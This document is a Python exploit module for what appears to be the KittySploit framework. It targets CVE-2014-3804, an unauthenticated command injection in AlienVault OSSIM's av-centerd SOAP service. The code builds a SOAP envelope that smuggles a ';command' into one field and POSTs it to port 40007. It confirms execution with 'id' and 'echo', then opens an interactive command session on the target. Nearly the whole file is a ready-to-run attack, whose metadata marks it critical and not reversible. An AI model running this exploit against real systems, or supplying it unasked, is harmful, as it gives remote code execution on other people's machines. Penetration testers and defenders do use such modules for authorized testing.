AlienVault OSSIM av-centerd RCE (CVE-2014-3804)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""AlienVault OSSIM av-centerd SOAP RCE (CVE-2014-3804) — execute session."""

from __future__ import annotations

import re
import xml.sax.saxutils as saxutils

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler


class Module(Exploit, Http_client, Handler):
    __info__ = {
        'name': 'AlienVault OSSIM av-centerd RCE (CVE-2014-3804)',
        'description': (
            'Exploits CVE-2014-3804 command injection in the av-centerd '
            'update_system_info_debian_package SOAP method. Opens an interactive execute session.'
        ),
        'author': ['KittySploit Team'],
        'cve': ['CVE-2014-3804'],
        'platform': Platform.LINUX,
        'payload': {'default': 'nopayload'},
        'references': [
            'https://nvd.nist.gov/vuln/detail/CVE-2014-3804',
        ],
        'tags': ['ossim', 'alienvault', 'soap', 'rce', 'unauth', 'cve-2014-3804'],
        'agent': {
            'risk': 'critical',
            'effects': ['active_exploitation', 'remote_code_execution'],
            'expected_requests': 2,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'risk_signals', 'rce'],
            'chain': {
                'produces_capabilities': [
                    {'capability': 'rce', 'from_detail': 'av-centerd SOAP injection'},
                    {'capability': 'shell', 'from_detail': 'execute session'},
                ],
                'suggested_followups': ['scanner/http/cve_2014_3804_detect'],
            },
        },
    }

    port = OptPort(40007, 'av-centerd HTTP port', True)
    ssl = OptBool(False, 'Use HTTPS', True, advanced=True)

    def _soap(self, cmd: str) -> str:
        safe = saxutils.escape(f';{cmd}')
        return (
            "<soap:Envelope soap:encodingStyle='http://schemas.xmlsoap.org/soap/encoding/' "
            "xmlns:soap='http://schemas.xmlsoap.org/soap/envelope/' "
            "xmlns:soapenc='http://schemas.xmlsoap.org/soap/encoding/' "
            "xmlns:xsd='http://www.w3.org/2001/XMLSchema' "
            "xmlns:xsi='http://www.w3.org/2001/XMLSchema-instance'>"
            "<soap:Body><update_system_info_debian_package xmlns='AV/CC/Util'>"
            "<c-gensym3 xsi:type='xsd:string'>VTTest</c-gensym3>"
            "<c-gensym5 xsi:type='xsd:string'>VTTest</c-gensym5>"
            "<c-gensym7 xsi:type='xsd:string'>VTTest</c-gensym7>"
            "<c-gensym9 xsi:type='xsd:string'>VTTest</c-gensym9>"
            f"<c-gensym11 xsi:type='xsd:string'>{safe}</c-gensym11>"
            "</update_system_info_debian_package></soap:Body></soap:Envelope>"
        )

    def execute(self, cmd: str) -> str:
        r = self.http_request(
            method='POST',
            path='/av-centerd',
            data=self._soap(cmd),
            headers={
                'SOAPAction': '"AV/CC/Util#update_system_info_debian_package"',
                'Content-Type': 'text/xml; charset=UTF-8',
            },
            allow_redirects=False,
        )
        if not r:
            return ''
        return r.text or ''

    def check(self):
        body = self.execute('id')
        if re.search(r'uid=\d+', body or ''):
            return {
                'vulnerable': True,
                'reason': 'CVE-2014-3804 confirmed via id output',
                'confidence': 'high',
            }
        return {
            'vulnerable': False,
            'reason': 'av-centerd SOAP did not return command output',
            'confidence': 'medium',
        }

    def check_execute(self):
        token = self.random_text(8)
        return token in (self.execute(f'echo {token}') or '')

    def run(self):
        if not self.check_execute():
            self.not_vulnerable()
            return False
        return self.handler_execute()